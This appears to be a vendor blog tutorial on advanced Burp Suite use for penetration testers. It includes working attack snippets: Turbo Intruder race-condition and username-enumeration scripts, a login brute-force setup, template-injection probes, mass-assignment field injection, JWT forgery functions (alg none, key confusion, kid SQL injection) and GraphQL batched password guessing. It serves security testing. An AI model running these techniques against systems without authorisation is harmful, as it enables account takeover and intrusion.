Back
Kevin Rodriguez

Kevin Rodriguez

Burp Suite Mastery: Advanced Techniques for Professional Penetration Testers

Burp Suite Mastery: Advanced Techniques for Professional Penetration Testers

Burp Suite is more than just a proxy and scanner. In the hands of an expert, it becomes a powerful platform for discovering vulnerabilities that automated tools miss. This guide covers advanced techniques used by professional penetration testers.

Setting Up for Advanced Testing

Optimized Configuration

# burp_project_options.json
{
  "project_options": {
    "connections": {
      "platform_authentication": {
        "use_platform_authentication": true,
        "credentials": []
      },
      "socks_proxy": {
        "use_socks_proxy": false
      },
      "timeouts": {
        "normal": 120000,
        "open_ended": 180000
      }
    },
    "http": {
      "redirections": {
        "follow_redirections": "in_scope_only"
      }
    }
  }
}

Memory Optimization

# Launch with optimized JVM settings
java -jar -Xms2g -Xmx8g \
  -XX:+UseG1GC \
  -XX:MaxGCPauseMillis=200 \
  burpsuite_pro.jar

Advanced Proxy Techniques

Match and Replace Rules

Automatically modify requests/responses for testing:

# Remove security headers for testing
Type: Response header
Match: X-Frame-Options:.*
Replace: [empty]
Enabled: true

# Inject custom header
Type: Request header
Match: ^
Replace: X-Custom-Test: pentester
Enabled: true

# Downgrade TLS version indicator
Type: Request header
Match: Sec-Fetch-Mode: navigate
Replace: Sec-Fetch-Mode: cors
Enabled: true

Invisible Proxying

For thick clients and mobile apps that don't respect proxy settings:

# Redirect all traffic to Burp
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

# Configure Burp for invisible proxying
# Proxy > Options > Proxy Listeners > Request handling
# Support invisible proxying: checked

WebSocket Testing

# Custom WebSocket message handler
from burp import IBurpExtender, IProxyListener

class BurpExtender(IBurpExtender, IProxyListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        callbacks.registerProxyListener(self)

    def processProxyMessage(self, messageIsRequest, message):
        if message.getMessageInfo().getUrl().toString().contains("socket"):
            # Analyze WebSocket upgrade and messages
            self.analyzeWebSocket(message)

Intruder Mastery

Custom Payload Processing

Chain multiple payload processors for complex attacks:

Payload Processing Rules:
1. Hash: MD5
2. Encode: Base64
3. Add prefix: token=
4. Add suffix: &valid=true

Cluster Bomb for Multi-Parameter Attacks

Testing username enumeration with timing analysis:

Positions:
POST /login HTTP/1.1
Host: target.com

username=§admin§&password=§password123§

Payload Set 1 (usernames): admin, administrator, root, test
Payload Set 2 (passwords): password123

Attack Type: Cluster Bomb

Grep - Extract:
- Login failed
- Invalid username
- Account locked

Columns:
- Response time (for timing attacks)
- Response length (for enumeration)

Turbo Intruder for High-Speed Attacks

# turbo_intruder_race_condition.py
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=50,
        requestsPerConnection=100,
        pipeline=True
    )

    # Race condition test - send requests simultaneously
    for i in range(100):
        engine.queue(target.req, gate='race1')

    # Open the gate - all requests fire at once
    engine.openGate('race1')

def handleResponse(req, interesting):
    if '200' in req.response:
        table.add(req)

Timing-Based Username Enumeration

# turbo_intruder_timing.py
import time

def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,  # Single connection for accurate timing
        requestsPerConnection=1,
        pipeline=False
    )

    for username in open('/usr/share/seclists/Usernames/top-usernames-shortlist.txt'):
        engine.queue(target.req, username.strip())

def handleResponse(req, interesting):
    # Response time > 500ms might indicate valid username
    # (bcrypt comparison takes longer for valid users)
    table.add(req)

Scanner Customization

Custom Scan Checks

# custom_scan_check.py
from burp import IBurpExtender, IScannerCheck, IScanIssue
from array import array

class BurpExtender(IBurpExtender, IScannerCheck):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.registerScannerCheck(self)

    def doPassiveScan(self, baseRequestResponse):
        issues = []
        response = baseRequestResponse.getResponse()
        analyzed = self._helpers.analyzeResponse(response)

        # Check for sensitive data in response
        body = response[analyzed.getBodyOffset():]
        patterns = [
            (b'api_key', 'API Key Exposure'),
            (b'password', 'Password in Response'),
            (b'BEGIN RSA PRIVATE KEY', 'Private Key Exposure'),
            (b'eyJ', 'JWT Token in Response')
        ]

        for pattern, issue_name in patterns:
            if pattern in body:
                issues.append(CustomScanIssue(
                    baseRequestResponse.getHttpService(),
                    self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
                    [baseRequestResponse],
                    issue_name,
                    "Sensitive data found in response",
                    "High"
                ))

        return issues

    def doActiveScan(self, baseRequestResponse, insertionPoint):
        # Custom active scanning logic
        payloads = [
            "{{7*7}}",  # SSTI
            "${7*7}",   # Expression language
            "{{constructor.constructor('return this')()}}"  # Prototype pollution
        ]

        issues = []
        for payload in payloads:
            checkRequest = insertionPoint.buildRequest(payload)
            checkResponse = self._callbacks.makeHttpRequest(
                baseRequestResponse.getHttpService(),
                checkRequest
            )

            if b'49' in checkResponse.getResponse():
                issues.append(self.createIssue(
                    baseRequestResponse,
                    "Server-Side Template Injection",
                    payload
                ))

        return issues

Scan Configuration Profiles

{
  "scanner": {
    "audit_optimization": {
      "scan_speed": "thorough",
      "audit_accuracy": "minimize_false_negatives"
    },
    "issues_to_scan_for": {
      "sql_injection": true,
      "xss_reflected": true,
      "xss_stored": true,
      "command_injection": true,
      "path_traversal": true,
      "xxe": true,
      "ssti": true,
      "ssrf": true
    },
    "handling_application_errors": {
      "handle_500_as_error": true,
      "follow_redirections": "in_scope_only"
    }
  }
}

Essential Extensions

Must-Have Extensions

ExtensionPurpose
Logger++Advanced request/response logging
AutorizeAuthorization testing
Param MinerHidden parameter discovery
Backslash Powered ScannerAdvanced injection detection
JSON Web TokensJWT analysis and attacks
Active Scan++Enhanced active scanning
Collaborator EverywhereOut-of-band detection
Software Vulnerability ScannerCVE detection

Autorize Configuration

# Autorize Setup for Privilege Escalation Testing

1. Log in as low-privilege user
2. Configure Authorization Enforcement Status:
   - Cookie: session=low_priv_session_token
   - Header: Authorization: Bearer low_priv_jwt

3. Browse as admin user
4. Autorize replays with low-priv creds

# Detection Rules:
Enforced: Response matches low-priv response
Bypassed: Response matches admin response (VULNERABILITY!)

Param Miner Configuration

# Hidden Parameter Discovery

Target: https://target.com/api/users

# Wordlist sources:
- Built-in params
- Rails params
- Custom wordlist

# Techniques:
- Header injection
- URL parameters
- Body parameters
- JSON properties

# Example findings:
?debug=true → Exposes stack traces
?admin=1 → Elevates privileges
x-forwarded-for: 127.0.0.1 → Bypasses IP restrictions

Advanced Techniques

Hunting for Mass Assignment

# mass_assignment_scanner.py
from burp import IBurpExtender, IScannerCheck
import json

class BurpExtender(IBurpExtender, IScannerCheck):
    def doActiveScan(self, baseRequestResponse, insertionPoint):
        # Only test JSON body parameters
        request = baseRequestResponse.getRequest()
        if b'application/json' not in request:
            return []

        # Add potentially dangerous fields
        dangerous_fields = [
            '"isAdmin": true',
            '"role": "admin"',
            '"verified": true',
            '"balance": 999999',
            '"password": "hacked"'
        ]

        issues = []
        for field in dangerous_fields:
            modified = self.injectJsonField(request, field)
            response = self._callbacks.makeHttpRequest(
                baseRequestResponse.getHttpService(),
                modified
            )

            if self.detectMassAssignment(response):
                issues.append(self.createIssue("Mass Assignment", field))

        return issues

JWT Attack Automation

# jwt_attacks.py
import jwt
import base64
import json

def none_algorithm_attack(token):
    """CVE-2015-2951: Algorithm confusion"""
    header, payload, _ = token.split('.')
    header_decoded = json.loads(base64.b64decode(header + '=='))
    header_decoded['alg'] = 'none'
    new_header = base64.b64encode(json.dumps(header_decoded).encode()).decode().rstrip('=')
    return f"{new_header}.{payload}."

def key_confusion_attack(token, public_key):
    """Use RSA public key as HMAC secret"""
    header, payload, _ = token.split('.')
    payload_decoded = json.loads(base64.b64decode(payload + '=='))

    # Sign with public key as HMAC secret
    return jwt.encode(payload_decoded, public_key, algorithm='HS256')

def kid_injection(token):
    """Key ID SQL injection"""
    header, payload, _ = token.split('.')
    header_decoded = json.loads(base64.b64decode(header + '=='))
    header_decoded['kid'] = "' UNION SELECT 'secret' -- "
    # ... continue attack

GraphQL Introspection & Attacks

# graphql_scanner.py
INTROSPECTION_QUERY = """
{
  __schema {
    types {
      name
      fields {
        name
        args { name type { name } }
      }
    }
    mutationType { name fields { name } }
    queryType { name fields { name } }
  }
}
"""

BATCH_ATTACK = """
[
  {"query": "mutation { login(user:\\"admin\\", pass:\\"a\\") { token } }"},
  {"query": "mutation { login(user:\\"admin\\", pass:\\"b\\") { token } }"},
  {"query": "mutation { login(user:\\"admin\\", pass:\\"c\\") { token } }"}
]
"""

# Bypasses rate limiting by batching requests

Workflow Automation

Macro-Based Authentication

# Configure macros for authenticated scanning

1. Project Options > Sessions > Macros > Add

Macro: "Login"
- Request 1: GET /login (get CSRF token)
- Request 2: POST /login (submit credentials)
- Request 3: GET /dashboard (verify session)

2. Session Handling Rules > Add

Rule: "Maintain Authentication"
- Scope: Target scope
- Actions:
  - Check session is valid (dashboard returns 200)
  - If invalid, run macro "Login"
  - Update cookie jar

Automated CSRF Token Handling

Session Handling Rules:

1. Add Rule: "Update CSRF Token"
   - Tools Scope: Scanner, Repeater, Intruder
   - URL Scope: target.com

2. Rule Actions:
   - Run macro: "Get CSRF Token"
   - Extract: csrf_token from response
   - Update parameter: _csrf in subsequent requests

Bambda Filters (Burp 2024)

// Filter for interesting responses
return requestResponse.response().bodyToString().contains("error")
    && requestResponse.response().statusCode() == 200;

// Filter for potential SQLi
return requestResponse.response().bodyToString().toLowerCase()
    .matches(".*(sql|syntax|mysql|postgresql|oracle).*");

// Filter large responses
return requestResponse.response().body().length() > 10000;

Reporting Excellence

Custom Issue Definitions

<issues>
  <issue>
    <name>Insecure Direct Object Reference (IDOR)</name>
    <severity>High</severity>
    <confidence>Certain</confidence>
    <background>
      The application allows users to access resources belonging to other
      users by manipulating predictable identifiers in the URL.
    </background>
    <remediation>
      Implement proper authorization checks to verify the requesting user
      has permission to access the requested resource.
    </remediation>
  </issue>
</issues>

Professional Report Generation

# report_generator.py
from burp import IBurpExtender, IContextMenuFactory
from javax.swing import JMenuItem
import json

class BurpExtender(IBurpExtender, IContextMenuFactory):
    def createMenuItems(self, invocation):
        return [JMenuItem("Generate Report", actionPerformed=self.generateReport)]

    def generateReport(self, event):
        issues = self._callbacks.getScanIssues("")
        report = {
            "executive_summary": self.createExecutiveSummary(issues),
            "findings": [self.formatIssue(i) for i in issues],
            "statistics": self.calculateStats(issues),
            "remediation_roadmap": self.createRoadmap(issues)
        }
        # Export to PDF/HTML

Pro Tips from the Field

1. Response Comparison

Use Comparer to identify subtle differences:

  • Compare admin vs user responses for authorization bypass
  • Compare valid vs invalid input for error-based info disclosure

2. Search Operators

# Proxy History Search
response.body contains "password"
request.url matches ".*admin.*"
response.status_code = 500
response.length > 10000

3. Collaborator Client

# Check for blind vulnerabilities
1. Generate Collaborator payload: xyz123.burpcollaborator.net
2. Inject in headers: X-Forwarded-For: xyz123.burpcollaborator.net
3. Inject in parameters: url=http://xyz123.burpcollaborator.net
4. Poll for interactions: DNS, HTTP, SMTP

Integration with AIPTx

AIPTx enhances Burp Suite findings with:

  • AI-Powered Analysis: Intelligent triage of Burp findings
  • Automated Validation: Verify vulnerabilities without manual testing
  • Correlation: Link Burp findings with other scanner results
  • Reporting: Generate comprehensive reports from Burp data

Supercharge your Burp Suite workflow - Try AIPTx

AI-powered VAPT SaaS platform for modern security teams. Get automated penetration testing reports with actionable insights.

© 2026 AIPTx. All rights reserved.

ISO 27001 Certified
SOC 2 Type II
Burp Suite Mastery: Advanced Techniques for Professional Penetration Testers